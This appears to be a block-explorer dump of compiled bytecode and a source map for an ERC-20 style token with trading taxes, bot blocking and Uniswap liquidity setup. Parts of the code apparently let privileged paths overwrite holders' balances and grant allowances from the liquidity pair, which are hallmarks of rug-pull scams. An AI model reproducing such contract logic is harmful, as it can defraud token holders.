601554600160a01b900460ff16156107ed5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f5565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108369030906108286009600a61180c565b61050f90633b9aca0061181a565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610886573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108aa9190611845565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610909573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092d9190611845565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610977573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099b9190611845565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306109e2816001600160a01b03165f9081526001602052604090205490565b5f806109f55f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a5b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a809190611860565b505060158054600780546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b6001600160a01b038316610b1b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f5565b6001600160a01b038216610b7c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c405760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f5565b6001600160a01b038216610ca25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f5565b5f8111610d035760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f5565b5f80546001600160a01b03858116911614801590610d2e57505f546001600160a01b03848116911614155b15611024576001600160a01b0384165f9081526005602052604090205460ff16158015610d7357506001600160a01b0383165f9081526005602052604090205460ff16155b610d7b575f80fd5b610da76064610da160105460135411610d9657600c54610d9a565b600e545b8590611199565b9061121e565b6015549091506001600160a01b038581169116148015610dd557506014546001600160a01b03848116911614155b8015610df957506001600160a01b0383165f9081526003602052604090205460ff16155b15610edf57600854821115610e505760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103f5565b60095482610e72856001600160a01b03165f9081526001602052604090205490565b610e7c919061188b565b1115610eca5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103f5565b60138054905f610ed98361189e565b91905055505b6015546001600160a01b038481169116148015610f0557506001600160a01b0384163014155b15610f3d57610f2f6064610da160115460135411610f2557600d54610d9a565b600f548590611199565b905047610f3b4761125f565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7357506015546001600160a01b038581169116145b8015610f885750601554600160b01b900460ff165b8015610f955750600a5481115b8015610fa45750601254601354115b1561102257601554600160b81b900460ff1615610ffd57436016541015610ff857610fe2610fdd84610fd884600b54611296565b611296565b6112aa565b478015610ff257610ff24761125f565b50436016555b611022565b611010610fdd84610fd884600b54611296565b478015611020576110204761125f565b505b505b801561109c57305f90815260016020526040902054611043908261141a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110939085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110be9083611478565b6001600160a01b0385165f908152600160205260409020556111016110e38383611478565b6001600160a01b0385165f908152600160205260409020549061141a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114a8585611478565b60405190815260200160405180910390a350505050565b5f81848411156111845760405162461bcd60e51b81526004016103f59190611514565b505f61119084866118b6565b95945050505050565b5f825f036111a857505f610491565b5f6111b3838561181a565b9050826111c085836118c9565b146112175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f5565b9392505050565b5f61121783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b9565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156106ee573d5f803e3d5ffd5b5f8183116112a45782611217565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112f0576112f0611831565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611347573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136b9190611845565b8160018151811061137e5761137e611831565b6001600160a01b0392831660209182029290920101526014546113a49130911684610ab9565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113dc9085905f908690309042906004016118e8565b5f604051808303815f87803b1580156113f3575f80fd5b505af1158015611405573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f80611426838561188b565b9050838110156112175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f5565b5f61121783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611161565b5f81836114d95760405162461bcd60e51b81526004016103f59190611514565b505f61119084866118c9565b6001600160a01b0381168114610752575f80fd5b5f60208284031215611509575f80fd5b8135611217816114e5565b5f602080835283518060208501525f5b8181101561154057858101830151858201604001528201611524565b505f604082860101526040601f19601f8301168501019250505092915050565b803561156b816114e5565b919050565b5f8060408385031215611581575f80fd5b823561158c816114e5565b946020939093013593505050565b5f805f606084860312156115ac575f80fd5b83356115b7816114e5565b925060208401356115c7816114e5565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115fd575f80fd5b823567ffffffffffffffff80821115611614575f80fd5b818501915085601f830112611627575f80fd5b813581811115611639576116396115d8565b8060051b604051601f19603f8301168101818110858211171561165e5761165e6115d8565b60405291825284820192508381018501918883111561167b575f80fd5b938501935b828510156116a05761169185611560565b84529385019392850192611680565b98975050505050505050565b5f80604083850312156116bd575f80fd5b82356116c8816114e5565b915060208301356116d8816114e5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176657815f190482111561174c5761174c611718565b8085161561175957918102915b93841c9390800290611731565b509250929050565b5f8261177c57506001610491565b8161178857505f610491565b816001811461179e57600281146117a8576117c4565b6001915050610491565b60ff8411156117b9576117b9611718565b50506001821b610491565b5060208310610133831016604e8410600b84101617156117e7575081810a610491565b6117f1838361172c565b805f190482111561180457611804611718565b029392505050565b5f61121760ff84168361176e565b808202811582820484141761049157610491611718565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611855575f80fd5b8151611217816114e5565b5f805f60608486031215611872575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561049157610491611718565b5f600182016118af576118af611718565b5060010190565b8181038181111561049157610491611718565b5f826118e357634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119385784516001600160a01b031683529383019391830191600101611913565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9c9762592ed3f2405165abcfada5ebd0b0d09c87e1bb833d522dba99e07d01c64736f6c63430008180033
Deployed Bytecode Sourcemap
3550:8574:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11578:189;;;;;;;;;;-1:-1:-1;11578:189:0;;;;;:::i;:::-;;:::i;:::-;;6463:83;;;;;;;;;;-1:-1:-1;6533:5:0;;;;;;;;;;;;-1:-1:-1;;;6533:5:0;;;;6463:83;;;;;;;:::i;:::-;;;;;;;;7282:246;;;;;;;;;;-1:-1:-1;7282:246:0;;;;;:::i;:::-;;:::i;:::-;;;1619:14:1;;1612:22;1594:41;;1582:2;1567:18;7282:246:0;1454:187:1;4389:45:0;;;;;;;;;;;;;;;;;;;1792:25:1;;;1780:2;1765:18;4389:45:0;1646:177:1;6734:95:0;;;;;;;;;;;;;:::i;7534:314::-;;;;;;;;;;-1:-1:-1;7534:314:0;;;;;:::i;:::-;;:::i;4337:45::-;;;;;;;;;;;;;;;;6645:83;;;;;;;;;;-1:-1:-1;6645:83:0;;4030:1;2447:36:1;;2435:2;2420:18;6645:83:0;2305:184:1;4279:51:0;;;;;;;;;;;;;;;;6835:119;;;;;;;;;;-1:-1:-1;6835:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6928:18:0;6901:7;6928:18;;;:9;:18;;;;;;;6835:119;1453:148;;;;;;;;;;;;;:::i;6264:193::-;;;;;;;;;;;;;:::i;4225:47::-;;;;;;;;;;;;;;;;1239:79;;;;;;;;;;-1:-1:-1;1277:7:0;1304:6;1239:79;;-1:-1:-1;;;;;1304:6:0;;;2900:51:1;;2888:2;2873:18;1239:79:0;2754:203:1;6552:87:0;;;;;;;;;;-1:-1:-1;6624:7:0;;;;;;;;;;;;-1:-1:-1;;;6624:7:0;;;;6552:87;;11333:239;;;;;;;;;;-1:-1:-1;11333:239:0;;;;;:::i;:::-;;:::i;12009:112::-;;;;;;;;;;;;;:::i;6960:167::-;;;;;;;;;;-1:-1:-1;6960:167:0;;;;;:::i;:::-;;:::i;5634:624::-;;;;;;;;;;;;;:::i;7133:143::-;;;;;;;;;;-1:-1:-1;7133:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7241:18:0;;;7214:7;7241:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7133:143;11578:189;1366:6;;-1:-1:-1;;;;;1366:6:0;898:10;1366:22;1358:67;;;;-1:-1:-1;;;1358:67:0;;;;;;;:::i;:::-;;;;;;;;;11655:9:::1;:19:::0;;-1:-1:-1;;;;;11655:19:0;;::::1;-1:-1:-1::0;;;;;;11655:19:0;;::::1;::::0;::::1;::::0;;:9:::1;11685:22:::0;;;:13:::1;:22;::::0;;;;;;;:29;;-1:-1:-1;;11685:29:0;;::::1;11655:19:::0;11685:29;;::::1;::::0;;;11725:18:::1;:27:::0;;;;;:34;;;;::::1;::::0;;::::1;::::0;;11578:189::o;7282:246::-;-1:-1:-1;;;;;7417:22:0;;7357:4;7417:22;;;:13;:22;;;;;;898:10;;7417:22;;7414:41;;;-1:-1:-1;7447:8:0;;-1:-1:-1;;;;;7447:8:0;7414:41;7466:32;7475:5;7482:7;7491:6;7466:8;:32::i;:::-;7516:4;7509:11;;;7282:246;;;;;:::o;6734:95::-;6787:7;4086:13;4030:1;4086:2;:13;:::i;:::-;4073:26;;:10;:26;:::i;:::-;6807:14;;6734:95;:::o;7534:314::-;7632:4;7649:36;7659:6;7667:9;7678:6;7649:9;:36::i;:::-;7697:121;7706:6;898:10;7728:89;7766:6;7728:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7728:19:0;;;;;;:11;:19;;;;;;;;898:10;7728:33;;;;;;;;;;:37;:89::i;:::-;7697:8;:121::i;:::-;-1:-1:-1;7836:4:0;7534:314;;;;;:::o;1453:148::-;1366:6;;-1:-1:-1;;;;;1366:6:0;898:10;1366:22;1358:67;;;;-1:-1:-1;;;1358:67:0;;;;;;;:::i;:::-;1560:1:::1;1544:6:::0;;1523:40:::1;::::0;-1:-1:-1;;;;;1544:6:0;;::::1;::::0;1523:40:::1;::::0;1560:1;;1523:40:::1;1591:1;1574:19:::0;;-1:-1:-1;;;;;;1574:19:0::1;::::0;;1453:148::o;6264:193::-;1366:6;;-1:-1:-1;;;;;1366:6:0;898:10;1366:22;1358:67;;;;-1:-1:-1;;;1358:67:0;;;;;;;:::i;:::-;6318:12:::1;:20:::0;;-1:-1:-1;;;;6318:20:0::1;::::0;;4086:13:::1;4030:1;4086:2;:13;:::i;:::-;4073:26;::::0;:10:::1;:26;:::i;:::-;6349:12;:22:::0;4086:13:::1;4030:1;4086:2;:13;:::i;:::-;4073:26;::::0;:10:::1;:26;:::i;:::-;6382:16;:24:::0;;;6422:27:::1;::::0;4086:13:::1;::::0;:2:::1;:13;:::i;:::-;4073:26;::::0;:10:::1;:26;:::i;:::-;6422:27;::::0;1792:25:1;;;1780:2;1765:18;6422:27:0::1;;;;;;;6264:193::o:0;11333:239::-;11404:9;11399:166;11423:5;:12;11419:1;:16;11399:166;;;11474:13;;11462:8;;-1:-1:-1;;;;;11474:13:0;;;;11462:5;;11468:1;;11462:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;11462:25:0;;11458:38;;11489:7;11333:239;:::o;11458:38::-;11538:15;4030:1;11538:2;:15;:::i;:::-;11532:21;;:3;:21;:::i;:::-;11510:9;:19;11520:5;11526:1;11520:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;11510:19:0;;;;;;;;;;;-1:-1:-1;11510:19:0;:43;11437:4;;11399:166;;;;11333:239;:::o;12009:112::-;1366:6;;-1:-1:-1;;;;;1366:6:0;898:10;1366:22;1358:67;;;;-1:-1:-1;;;1358:67:0;;;;;;;:::i;:::-;1277:7;1304:6;;12065:48:::1;::::0;-1:-1:-1;;;;;1304:6:0;;;;12091:21:::1;12065:48:::0;::::1;;;::::0;12091:21;;12065:48;1277:7;12065:48;12091:21;1304:6;12065:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12009:112::o:0;6960:167::-;7038:4;7055:42;898:10;7079:9;7090:6;7055:9;:42::i;:::-;-1:-1:-1;7115:4:0;6960:167;;;;:::o;5634:624::-;1366:6;;-1:-1:-1;;;;;1366:6:0;898:10;1366:22;1358:67;;;;-1:-1:-1;;;1358:67:0;;;;;;;:::i;:::-;5698:11:::1;::::0;-1:-1:-1;;;5698:11:0;::::1;;;5697:12;5689:47;;;::::0;-1:-1:-1;;;5689:47:0;;7006:2:1;5689:47:0::1;::::0;::::1;6988:21:1::0;7045:2;7025:18;;;7018:30;7084:25;7064:18;;;7057:53;7127:18;;5689:47:0::1;6804:347:1::0;5689:47:0::1;5747:15;:80:::0;;-1:-1:-1;;;;;;5747:80:0::1;5784:42;5747:80:::0;;::::1;::::0;;;5838:58:::1;::::0;5855:4:::1;::::0;4086:13:::1;4030:1;4086:2;:13;:::i;:::-;4073:26;::::0;:10:::1;:26;:::i;5838:58::-;5941:15;;;;;;;;;-1:-1:-1::0;;;;;5941:15:0::1;-1:-1:-1::0;;;;;5941:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5923:55:0::1;;5987:4;5994:15;;;;;;;;;-1:-1:-1::0;;;;;5994:15:0::1;-1:-1:-1::0;;;;;5994:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5923:94;::::0;-1:-1:-1;;;;;;5923:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7650:15:1;;;5923:94:0::1;::::0;::::1;7632:34:1::0;7702:15;;7682:18;;;7675:43;7567:18;;5923:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5907:13;:110:::0;;-1:-1:-1;;;;;5907:110:0;;::::1;-1:-1:-1::0;;;;;;5907:110:0;;::::1;;::::0;;6028:15:::1;::::0;::::1;:31;6067:21;6098:4;6104:24;6098:4:::0;-1:-1:-1;;;;;6928:18:0;6901:7;6928:18;;;:9;:18;;;;;;;6835:119;6104:24:::1;6129:1;6131::::0;6133:7:::1;1277::::0;1304:6;-1:-1:-1;;;;;1304:6:0;;1239:79;6133:7:::1;6028:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6028:129:0;;;-1:-1:-1;;;;;8088:15:1;;;6028:129:0::1;::::0;::::1;8070:34:1::0;8120:18;;;8113:34;;;;8163:18;;;8156:34;;;;8206:18;;;8199:34;8270:15;;;8249:19;;;8242:44;6141:15:0::1;8302:19:1::0;;;8295:35;8004:19;;6028:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6179:13:0::1;::::0;;6168:8:::1;:24:::0;;-1:-1:-1;;;;;;6168:24:0::1;-1:-1:-1::0;;;;;6179:13:0;::::1;6168:24;::::0;;-1:-1:-1;;;;;;;6232:18:0;;;;;;-1:-1:-1;5634:624:0:o;7854:335::-;-1:-1:-1;;;;;7947:19:0;;7939:68;;;;-1:-1:-1;;;7939:68:0;;8854:2:1;7939:68:0;;;8836:21:1;8893:2;8873:18;;;8866:30;8932:34;8912:18;;;8905:62;-1:-1:-1;;;8983:18:1;;;8976:34;9027:19;;7939:68:0;8652:400:1;7939:68:0;-1:-1:-1;;;;;8026:21:0;;8018:68;;;;-1:-1:-1;;;8018:68:0;;9259:2:1;8018:68:0;;;9241:21:1;9298:2;9278:18;;;9271:30;9337:34;9317:18;;;9310:62;-1:-1:-1;;;9388:18:1;;;9381:32;9430:19;;8018:68:0;9057:398:1;8018:68:0;-1:-1:-1;;;;;8097:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8149:32;;1792:25:1;;;8149:32:0;;1765:18:1;8149:32:0;;;;;;;7854:335;;;:::o;8195:2643::-;-1:-1:-1;;;;;8283:18:0;;8275:68;;;;-1:-1:-1;;;8275:68:0;;9662:2:1;8275:68:0;;;9644:21:1;9701:2;9681:18;;;9674:30;9740:34;9720:18;;;9713:62;-1:-1:-1;;;9791:18:1;;;9784:35;9836:19;;8275:68:0;9460:401:1;8275:68:0;-1:-1:-1;;;;;8362:16:0;;8354:64;;;;-1:-1:-1;;;8354:64:0;;10068:2:1;8354:64:0;;;10050:21:1;10107:2;10087:18;;;10080:30;10146:34;10126:18;;;10119:62;-1:-1:-1;;;10197:18:1;;;10190:33;10240:19;;8354:64:0;9866:399:1;8354:64:0;8446:1;8437:6;:10;8429:64;;;;-1:-1:-1;;;8429:64:0;;10472:2:1;8429:64:0;;;10454:21:1;10511:2;10491:18;;;10484:30;10550:34;10530:18;;;10523:62;-1:-1:-1;;;10601:18:1;;;10594:39;10650:19;;8429:64:0;10270:405:1;8429:64:0;8504:17;1304:6;;-1:-1:-1;;;;;8538:15:0;;;1304:6;;8538:15;;;;:32;;-1:-1:-1;1277:7:0;1304:6;-1:-1:-1;;;;;8557:13:0;;;1304:6;;8557:13;;8538:32;8534:1949;;;-1:-1:-1;;;;;8596:11:0;;;;;;:5;:11;;;;;;;;8595:12;:26;;;;-1:-1:-1;;;;;;8612:9:0;;;;;;:5;:9;;;;;;;;8611:10;8595:26;8587:35;;;;;;8649:73;8718:3;8649:64;8671:12;;8661:9;;:22;8660:52;;8698:14;;8660:52;;;8685:12;;8660:52;8649:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8749:13;;8637:85;;-1:-1:-1;;;;;;8741:21:0;;;8749:13;;8741:21;:55;;;;-1:-1:-1;8780:15:0;;-1:-1:-1;;;;;8766:30:0;;;8780:15;;8766:30;;8741:55;:83;;;;-1:-1:-1;;;;;;8802:22:0;;;;;;:18;:22;;;;;;;;8800:24;8741:83;8737:315;;;8864:12;;8854:6;:22;;8846:60;;;;-1:-1:-1;;;8846:60:0;;10882:2:1;8846:60:0;;;10864:21:1;10921:2;10901:18;;;10894:30;10960:27;10940:18;;;10933:55;11005:18;;8846:60:0;10680:349:1;8846:60:0;8959:16;;8949:6;8933:13;8943:2;-1:-1:-1;;;;;6928:18:0;6901:7;6928:18;;;:9;:18;;;;;;;6835:119;8933:13;:22;;;;:::i;:::-;:42;;8925:81;;;;-1:-1:-1;;;8925:81:0;;11366:2:1;8925:81:0;;;11348:21:1;11405:2;11385:18;;;11378:30;11444:28;11424:18;;;11417:56;11490:18;;8925:81:0;11164:350:1;8925:81:0;9025:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8737:315;9075:13;;-1:-1:-1;;;;;9069:19:0;;;9075:13;;9069:19;:43;;;;-1:-1:-1;;;;;;9092:20:0;;9107:4;9092:20;;9069:43;9066:363;;;9145:76;9217:3;9145:67;9167:13;;9157:9;;:23;9156:55;;9196:15;;9156:55;;;9182:13;;9145:6;;:10;:67::i;:76::-;9133:88;-1:-1:-1;9269:21:0;9360:34;9372:21;9360:11;:34::i;:::-;9114:315;9066:363;9492:4;9443:28;6928:18;;;:9;:18;;;;;;9518:6;;-1:-1:-1;;;9518:6:0;;;;9517:7;:30;;;;-1:-1:-1;9534:13:0;;-1:-1:-1;;;;;9528:19:0;;;9534:13;;9528:19;9517:30;:45;;;;-1:-1:-1;9551:11:0;;-1:-1:-1;;;9551:11:0;;;;9517:45;:81;;;;;9587:11;;9566:20;:32;9517:81;:108;;;;;9612:13;;9602:9;;:23;9517:108;9513:959;;;9650:12;;-1:-1:-1;;;9650:12:0;;;;9646:811;;;9706:12;9691;;:27;9687:428;;;9747:67;9764:49;9768:6;9775:37;9779:20;9800:11;;9775:3;:37::i;:::-;9764:3;:49::i;:::-;9747:16;:67::i;:::-;9870:21;9921:22;;9918:120;;9976:34;9988:21;9976:11;:34::i;:::-;-1:-1:-1;10079:12:0;10064;:27;9687:428;9646:811;;;10163:67;10180:49;10184:6;10191:37;10195:20;10216:11;;10191:3;:37::i;10163:67::-;10282:21;10329:22;;10326:112;;10380:34;10392:21;10380:11;:34::i;:::-;10140:317;9646:811;8572:1911;8534:1949;10496:11;;10493:162;;10564:4;10546:24;;;;:9;:24;;;;;;:39;;10575:9;10546:28;:39::i;:::-;10539:4;10521:24;;;;:9;:24;;;;;;;:64;;;;10603:40;;-1:-1:-1;;;;;10603:40:0;;;;;;;10633:9;1792:25:1;;1780:2;1765:18;;1646:177;10603:40:0;;;;;;;;10493:162;-1:-1:-1;;;;;10681:15:0;;;;;;:9;:15;;;;;;:27;;10701:6;10681:19;:27::i;:::-;-1:-1:-1;;;;;10665:15:0;;;;;;:9;:15;;;;;:43;10733:40;10751:21;:6;10762:9;10751:10;:21::i;:::-;-1:-1:-1;;;;;10733:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10719:13:0;;;;;;;:9;:13;;;;;:54;;;;10789:41;;;10808:21;:6;10819:9;10808:10;:21::i;:::-;10789:41;;1792:25:1;;;1780:2;1765:18;10789:41:0;;;;;;;8264:2574;8195:2643;;;:::o;1963:190::-;2049:7;2085:12;2077:6;;;;2069:29;;;;-1:-1:-1;;;2069:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2109:9:0;2121:5;2125:1;2121;:5;:::i;:::-;2109:17;1963:190;-1:-1:-1;;;;;1963:190:0:o;2161:246::-;2219:7;2243:1;2248;2243:6;2239:47;;-1:-1:-1;2273:1:0;2266:8;;2239:47;2296:9;2308:5;2312:1;2308;:5;:::i;:::-;2296:17;-1:-1:-1;2341:1:0;2332:5;2336:1;2296:17;2332:5;:::i;:::-;:10;2324:56;;;;-1:-1:-1;;;2324:56:0;;12216:2:1;2324:56:0;;;12198:21:1;12255:2;12235:18;;;12228:30;12294:34;12274:18;;;12267:62;-1:-1:-1;;;12345:18:1;;;12338:31;12386:19;;2324:56:0;12014:397:1;2324:56:0;2398:1;2161:246;-1:-1:-1;;;2161:246:0:o;2415:132::-;2473:7;2500:39;2504:1;2507;2500:39;;;;;;;;;;;;;;;;;:3;:39::i;11773:90::-;11829:9;;:26;;-1:-1:-1;;;;;11829:9:0;;;;:26;;;;;11848:6;;11829:9;:26;:9;:26;11848:6;11829:9;:26;;;;;;;;;;;;;;;;;;;11904:99;11961:7;11989:1;11987;:3;11986:9;;11994:1;11986:9;;;-1:-1:-1;11992:1:0;11904:99;-1:-1:-1;11904:99:0:o;10844:483::-;5095:6;:13;;-1:-1:-1;;;;5095:13:0;-1:-1:-1;;;5095:13:0;;;10946:16:::1;::::0;;10960:1:::1;10946:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10946:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10946:16:0::1;10922:40;;10991:4;10973;10978:1;10973:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10973:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11017:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11017:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10973:7;;11017:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11007:4;11012:1;11007:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11007:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11082:15:::1;::::0;11050:62:::1;::::0;11067:4:::1;::::0;11082:15:::1;11100:11:::0;11050:8:::1;:62::i;:::-;11123:15;::::0;:196:::1;::::0;-1:-1:-1;;;11123:196:0;;-1:-1:-1;;;;;11123:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11204:11;;11123:15:::1;::::0;11246:4;;11273::::1;::::0;11293:15:::1;::::0;11123:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5131:6:0;:14;;-1:-1:-1;;;;5131:14:0;;;-1:-1:-1;;;;10844:483:0:o;1632:179::-;1690:7;;1722:5;1726:1;1722;:5;:::i;:::-;1710:17;;1751:1;1746;:6;;1738:46;;;;-1:-1:-1;;;1738:46:0;;13603:2:1;1738:46:0;;;13585:21:1;13642:2;13622:18;;;13615:30;13681:29;13661:18;;;13654:57;13728:18;;1738:46:0;13401:351:1;1819:136:0;1877:7;1904:43;1908:1;1911;1904:43;;;;;;;;;;;;;;;;;:3;:43::i;2555:189::-;2641:7;2676:12;2669:5;2661:28;;;;-1:-1:-1;;;2661:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2700:9:0;2712:5;2716:1;2712;:5;:::i;14:139:1:-;-1:-1:-1;;;;;97:31:1;;87:42;;77:70;;143:1;140;133:12;158:263;225:6;278:2;266:9;257:7;253:23;249:32;246:52;;;294:1;291;284:12;246:52;333:9;320:23;352:39;385:5;352:39;:::i;426:548::-;538:4;567:2;596;585:9;578:21;628:6;622:13;671:6;666:2;655:9;651:18;644:34;696:1;706:140;720:6;717:1;714:13;706:140;;;815:14;;;811:23;;805:30;781:17;;;800:2;777:26;770:66;735:10;;706:140;;;710:3;895:1;890:2;881:6;870:9;866:22;862:31;855:42;965:2;958;954:7;949:2;941:6;937:15;933:29;922:9;918:45;914:54;906:62;;;;426:548;;;;:::o;979:142::-;1047:20;;1076:39;1047:20;1076:39;:::i;:::-;979:142;;;:::o;1126:323::-;1194:6;1202;1255:2;1243:9;1234:7;1230:23;1226:32;1223:52;;;1271:1;1268;1261:12;1223:52;1310:9;1297:23;1329:39;1362:5;1329:39;:::i;:::-;1387:5;1439:2;1424:18;;;;1411:32;;-1:-1:-1;;;1126:323:1:o;1828:472::-;1905:6;1913;1921;1974:2;1962:9;1953:7;1949:23;1945:32;1942:52;;;1990:1;1987;1980:12;1942:52;2029:9;2016:23;2048:39;2081:5;2048:39;:::i;:::-;2106:5;-1:-1:-1;2163:2:1;2148:18;;2135:32;2176:41;2135:32;2176:41;:::i;:::-;1828:472;;2236:7;;-1:-1:-1;;;2290:2:1;2275:18;;;;2262:32;;1828:472::o;2962:127::-;3023:10;3018:3;3014:20;3011:1;3004:31;3054:4;3051:1;3044:15;3078:4;3075:1;3068:15;3094:1121;3178:6;3209:2;3252;3240:9;3231:7;3227:23;3223:32;3220:52;;;3268:1;3265;3258:12;3220:52;3308:9;3295:23;3337:18;3378:2;3370:6;3367:14;3364:34;;;3394:1;3391;3384:12;3364:34;3432:6;3421:9;3417:22;3407:32;;3477:7;3470:4;3466:2;3462:13;3458:27;3448:55;;3499:1;3496;3489:12;3448:55;3535:2;3522:16;3557:2;3553;3550:10;3547:36;;;3563:18;;:::i;:::-;3609:2;3606:1;3602:10;3641:2;3635:9;3704:2;3700:7;3695:2;3691;3687:11;3683:25;3675:6;3671:38;3759:6;3747:10;3744:22;3739:2;3727:10;3724:18;3721:46;3718:72;;;3770:18;;:::i;:::-;3806:2;3799:22;3856:18;;;3890:15;;;;-1:-1:-1;3932:11:1;;;3928:20;;;3960:19;;;3957:39;;;3992:1;3989;3982:12;3957:39;4016:11;;;;4036:148;4052:6;4047:3;4044:15;4036:148;;;4118:23;4137:3;4118:23;:::i;:::-;4106:36;;4069:12;;;;4162;;;;4036:148;;;4203:6;3094:1121;-1:-1:-1;;;;;;;;3094:1121:1:o;4220:404::-;4288:6;4296